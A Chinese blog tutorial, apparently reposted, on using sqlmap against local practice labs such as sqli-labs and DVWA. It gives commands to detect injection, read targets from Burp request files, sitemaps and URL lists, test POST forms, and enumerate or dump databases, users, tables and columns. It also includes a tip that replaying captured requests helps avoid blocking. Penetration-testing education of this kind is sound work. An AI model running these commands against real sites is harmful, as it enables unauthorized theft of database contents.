Sqlmap的使用

Sqlmap URL 检测

sqlmap直接对单一的url探测，参数使用-u或--url

payload：sqlmap -u "http://192.168.10.1/sqlilabs/sqli-labs-php7-master/Less-1/?id=1" --banner

注意：如果进入这个页面要先登录那么就需要把cookie带上

sqlmap -u "test.dvwa.com/vulnerabilities/sqli/?Submit=Submit&id=1" --cookie="PHPSESSID=q1addgmk7rq4u9elognarqt96r; security=low" --banner

注意：在虚拟机上运行此命令的时候要把原来的127.0.0.1变为本机对应虚拟机的ip 192.168.10.1如图：

image-20240423212734889

--banner是用来获得取目标数据库其版本信息以及其他相关信息

然后就ok了 如图：

屏幕截图 2024-04-24 201850

由上图可知此题存在四种注入方式

分别是：布尔盲注，报错注入，延时注入，联合查询

sql注入常用指令：

sqlmap.py -u “注入地址” --dbs // 列举数据库
sqlmap.py -u “注入地址” --current-db // 当前数据库
sqlmap.py -u “注入地址” --users // 列数据库的用户
sqlmap.py -u “注入地址” --current–user // 当前用户
sqlmap.py -u “注入地址” -D "指定数据库" --tables// 列举指定数据库的表名
sqlmap.py -u “注入地址” -D "指定数据库" -T "指定表" --columns// 获取表的列名
sqlmap.py -u “注入地址” -D "指定数据库" -T "指定表" --dump//获取数据库下表的列信息

Sqlmap文件读取目标

sqlmap支持从不同类型的文件中读取目标进行sql注入探测

1、-r 从文本文件中读取Http请求作为sql注入探测的目标

2、-x 从sitemap.xml站点地图文件中读取目标检测

3、-m 从多行文本格式文件读取多个目标，对多个目标进行探测

1.结合burp拦截的请求包

（文本文件中的请求包是burp拦截的请求包来实现 ）

它和直接使用sqlmap -u "网址" --banner的区别是直接-u所发送的请求包是sqlmap脚本自己构造的可能因为和这个网站原来的请求包不同但是 使用-r指令可以使用这个网站的请求包这样被拦截的几率就降低了

为了方便我们要先设置一下burp使请求包保存在一个文件中

如图：

屏幕截图 2024-04-24 220309

按照次序依次操作最后保存文件名设置为test不用后缀

如图：

image-20240424220713102

然后正常的抓包抓到后点击forward直到包被放没了

然后将我们的包拖到我们的虚拟机中（注意：如果使本机的靶场切记一定要把127.0.0.1改成我们本机对虚拟机所使用的ip）

payload：sqlmap -l test

如图即可：

屏幕截图 2024-04-24 221246

如何去看ip：

屏幕截图 2024-04-24 221423

ip是由一层层分配下来的前两个是针对虚拟机的ip具体是哪个可以去看一下虚拟机的网络设置便可确定

如图：

屏幕截图 2024-04-24 223536

屏幕截图 2024-04-24 223556

WLAN后是本机在这个局域网中所分配到的ip

2.-x 从sitemap.xml站点地图文件中读取目标检测

sqlmap -x sqmmap.xml

如何去判断一个站点是否存在站点地图文件

  1. 直接访问robots.txt文件：robots.txt是一个文本文件，通常位于网站的根目录下，用于指示搜索引擎爬虫访问哪些页面或不访问哪些页面。在robots.txt文件中，有时会包含站点地图文件的链接。你可以尝试访问该文件，查看是否包含了站点地图文件的链接。

  2. 查看网站的robots meta标签：有些网站在页面的<head>标签中使用robots meta标签来指示搜索引擎是否可以索引该页面，以及是否可以遵循页面上的链接。在robots meta标签中，有时也会包含站点地图文件的链接。

  3. 尝试访问默认的站点地图URL：一些网站的站点地图文件位于固定的URL路径下，比如/sitemap.xml或/sitemap_index.xml。你可以尝试直接访问这些默认的站点地图URL，查看是否存在站点地图文件。

  4. 使用在线工具检查：有些在线工具可以帮助你检查一个网站是否存在站点地图文件，比如XML站点地图验证器或SEO工具。你可以使用这些工具输入网站的URL，然后查看它们是否能够找到站点地图文件。

3.-m 从多行文本格式文件读取多个目标，对多个url目标进行探测

这个命令可以实现对多个url进行测试txt文件如图：

屏幕截图 2024-04-25 134332

但是在使用sqlmap扫的时候有 一些操作会询问是否进行 注意进行辨别

如图：

屏幕截图 2024-04-25 135052

post型表单注入的三种参数

需要先去确定是post传参可以使用burp抓包来看

1.--data

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --data="uname=1111&passwd=11111&submit=Submit" --dbs

这个代码中SQLMap 会自动检测可能存在注入漏洞的参数

2.-p --method

-p 参数用于指定要测试的参数名称；

--method 参数用于指定请求方法，此处为 POST

sqlmap -u http://target.com --data "param1=value1&param2=value2" -p param2 --method POST

3.重要：-r 从文本文件中读取Http请求作为sql注入探测的目标

将提交的报文抓包后，把信息存储在一个txt文件中，构造下面命令；

python sqlmap.py -r 文件路径+文件名.txt --dbs

4.–forms

利用该命令，使sqlmap自己抓包，构造下面命令；

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --level=5 --dbs

其中的--level=5

表示设置注入测试的级别，范围从 1 到 5 级别越高，测试的深度和精确度越高。在这里，设置为 5 表示最高级别的测试

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/321673.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【MsSQL】数据库基础 库的基本操作

【MsSQL】数据库基础 库的基本操作

目录 一&#xff0c;数据库基础 1&#xff0c;什么是数据库 2&#xff0c;主流的数据库 3&#xff0c;连接服务器 4&#xff0c;服务器&#xff0c;数据库&#xff0c;表关系 5&#xff0c;使用案例 二&#xff0c;库的操作 1&#xff0c;创建数据库 2&#xff0c;创建…
阅读更多...
【代码分享】使用HTML5的Canvas绘制编码说明图片

【代码分享】使用HTML5的Canvas绘制编码说明图片

最急在工作中遇到一个需求&#xff0c;根据给定的编码生成编码说明&#xff0c;像下面这样的效果。 不同含义的编码用横杠分割&#xff0c;然后每个编码下面用箭头指明具体的含义。下面是我使用canvas实现的代码。具体的编码宽度大家可以根据实际情况进行调整&#xff0c;目前…
阅读更多...
未授权访问：Redis未授权访问漏洞

未授权访问：Redis未授权访问漏洞

目录 1、漏洞原理 2、环境搭建 3、未授权访问 4、利用redis未授权写入weshell 5、利用redis未授权反弹shell 6、利用redis未授权实现免密登录 防御手段 从这篇文章开始我就要开始学习各种未授权访问的知识和相关的实操实验了&#xff0c;一共有好多篇&#xff0c;内容主…
阅读更多...
Python实现txt转Excel(坐标)

Python实现txt转Excel(坐标)

import pandas as pddef txt_to_excel(txt_file, excel_file):# 读取 txt 文件with open(txt_file, r) as f:lines f.readlines()# 将每行数据分割成多个单元格data []for line in lines:row line.strip().split( )data.append(row)# 将数据保存到 Excel 文件df pd.DataFra…
阅读更多...
Portforge：一款功能强大的轻量级端口混淆工具

Portforge：一款功能强大的轻量级端口混淆工具

关于Portforge Portforge是一款功能强大的轻量级端口混淆工具&#xff0c;该工具使用Crystal语言开发&#xff0c;可以帮助广大研究人员防止网络映射&#xff0c;这样一来&#xff0c;他人就无法查看到你设备正在运行&#xff08;或没有运行&#xff09;的服务和程序了。简而言…
阅读更多...
SpringBoot项目配置HTTPS接口的安全访问

SpringBoot项目配置HTTPS接口的安全访问

参考&#xff1a;https://blog.csdn.net/weixin_45355769/article/details/131727935 安装好openssl后&#xff0c; 创建 D:\certificate CA文件夹下包含&#xff1a; index.txt OpenSSL在创建自签证书时会向该文件里写下索引database.txt OpenSSL会模拟数据库将一些敏感信息…
阅读更多...
MacOS快速安装FFmpeg，并使用FFmpeg转换视频

MacOS快速安装FFmpeg，并使用FFmpeg转换视频

前言&#xff1a;目前正在接入flv视频流&#xff0c;但是没有一个合适的flv视频流地址。网上提供的flv也都不是H264AAC&#xff08;一种视频和音频编解码器组合&#xff09;&#xff0c;所以想通过fmpeg来将flv文件转换为H264AAC。 一、MacOS环境 博主的MacOS环境&#xff08;…
阅读更多...
机器学习——4.案例: 简单线性回归求解

机器学习——4.案例: 简单线性回归求解

案例目的 寻找一个良好的函数表达式,该函数表达式能够很好的描述上面数据点的分布&#xff0c;即对上面数据点进行拟合。 求解逻辑步骤 使用Sklearn生成数据集定义线性模型定义损失函数定义优化器定义模型训练方法&#xff08;正向传播、计算损失、反向传播、梯度清空&#…
阅读更多...
vue3+elementPlus：el-input输入框设置数字小数点

vue3+elementPlus：el-input输入框设置数字小数点

<el-input-numberplaceholder"请输入"v-model.number"scope.row.threeValue"class"mx-4":step"0.001" //精度controls-position"right" //幅度/></template> 上一篇文章&#xff0c; vue3echarts&#xff1a;e…
阅读更多...
三分钟了解计算机网络核心概念-数据链路层和物理层

三分钟了解计算机网络核心概念-数据链路层和物理层

计算机网络数据链路层和物理层 节点&#xff1a;一般指链路层协议中的设备。 链路&#xff1a;一般把沿着通信路径连接相邻节点的通信信道称为链路。 MAC 协议&#xff1a;媒体访问控制协议&#xff0c;它规定了帧在链路上传输的规则。 奇偶校验位&#xff1a;一种差错检测方…
阅读更多...
淘宝扭蛋机小程序开发：转动幸运，开启无限惊喜

淘宝扭蛋机小程序开发：转动幸运，开启无限惊喜

一、探索未知&#xff0c;开启全新扭蛋体验 淘宝扭蛋机小程序&#xff0c;为您带来一场前所未有的扭蛋盛宴。在这个充满神秘与乐趣的平台上&#xff0c;每一次点击都将引领您走进未知的宝藏世界&#xff0c;每一次旋转都可能揭示出意想不到的惊喜。 二、海量商品&#xff0c;…
阅读更多...
一个好用的轮子——美丽“表哥”（prettytable）

一个好用的轮子——美丽“表哥”（prettytable）

原文链接&#xff1a;http://www.juzicode.com/python-note-prretytable 在编写命令行程序时如果要输出表格&#xff0c;使用print()函数时通常需要花费大量的精力用在空格符和tab制表符的排版上。 我们先来看个例子&#xff0c;有一个包含3个字段的表格&#xff0c;需要用pri…
阅读更多...
面试分享——订单超30分钟未支付自动取消用什么实现？如何使用Redis实现延迟队列？

面试分享——订单超30分钟未支付自动取消用什么实现？如何使用Redis实现延迟队列？

目录 1.订单超时未支付自动取消&#xff0c;这个你用什么方案实现&#xff1f; 2.如何使用Redis实现延迟队列 2.1实验步骤 2.2实现生产可用的延迟队列还需关注什么 3.总结 电商场景中的问题向来很受面试官的青睐&#xff0c;因为业务场景大家都相对更熟悉&#xff0c;相关…
阅读更多...
正在载入qrc文件 指定的qrc文件无法找到。您想更新这个文件的位置么？

正在载入qrc文件 指定的qrc文件无法找到。您想更新这个文件的位置么？

打开Qt的ui文件&#xff0c;弹出提示框 如果需要用到qrc文件&#xff0c;选择Yes&#xff0c;再选择qrc文件所在的位置&#xff1b;如果不需要qrc文件&#xff0c;可以选择No&#xff0c;然后用普通文本编辑器打开&#xff0c;将“ <resources> <include location&q…
阅读更多...
Unity WebGL过曝问题的解决策略

Unity WebGL过曝问题的解决策略

文章目录 一些可能的解决策略1. **调整曝光设置**&#xff1a;2. **使用Lerp或其他颜色混合技巧**&#xff1a;3. **HDR与色调映射**&#xff1a;4. **检查光源强度和范围**&#xff1a;5. **材质和纹理设置**&#xff1a;6. **使用Platform-specific Settings**&#xff1a;7.…
阅读更多...
Python检查代码质量库之flake8使用详解

Python检查代码质量库之flake8使用详解

概要 Flake8是一个流行的Python库，用于检查代码质量和风格一致性，它集成了PyFlakes、pep8、Ned Batchelder的McCabe script等工具。Flake8可以帮助开发者发现代码中的错误，保持代码风格的一致性，是每个Python开发者工具箱中的重要组成部分。 安装 安装Flake8非常简单，可…
阅读更多...
C# 实现格式化文本导入到Excel

C# 实现格式化文本导入到Excel

目录 需求 Excel 的文本文件导入功能 范例运行环境 配置Office DCOM 实现 组件库引入 OpenTextToExcelFile 代码 调用 小结 需求 在一些导入功能里&#xff0c;甲方经常会给我们一些格式化的文本&#xff0c;类似 CSV 那样的纯文本。比如有关质量监督的标准文件&…
阅读更多...
ZooKeeper以及DolphinScheduler的用法

ZooKeeper以及DolphinScheduler的用法

目录 一、ZooKeeper的介绍 数据模型 ​编辑 操作使用 ①登录客户端 ​编辑 ②可以查看下面节点有哪些 ③创建新的节点&#xff0c;并指定数据 ④查看节点内的数据 ⑤、删除节点及数据 特殊点&#xff1a; 运行机制&#xff1a; 二、DolphinScheduler的介绍 架构&#…
阅读更多...
FreeBSD RISCV 在QEME中实践-网络配置

FreeBSD RISCV 在QEME中实践-网络配置

在前一篇文章中&#xff0c;我们一起进行了FreeBSD RISCV 在QEME中实践 现在&#xff0c;让我们配置好网络吧&#xff01; 先上结论&#xff1a;用默认配置启动即可&#xff0c;网络就加载好了&#xff0c;只是不能ping罢了。因为不能ping&#xff0c;以为网络没通&#xff0…
阅读更多...
php使用服务器端和客户端加密狗环境部署及使用记录（服务器端windows环境下部署、linux环境宝塔面板部署、客户端部署加密狗）

php使用服务器端和客户端加密狗环境部署及使用记录（服务器端windows环境下部署、linux环境宝塔面板部署、客户端部署加密狗）

php使用服务器端和客户端加密狗环境部署及使用记录 ViKey加密狗环境部署1.windows环境下部署开发文档验证代码提示Fatal error: Class COM not found in 2.linux环境下部署&#xff08;宝塔面板&#xff09;开发文档验证代码提示Fatal error: Uncaught Error: Call to undefine…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023

友情链接： 我的编程经验分享 一条长河网 尧图网站开发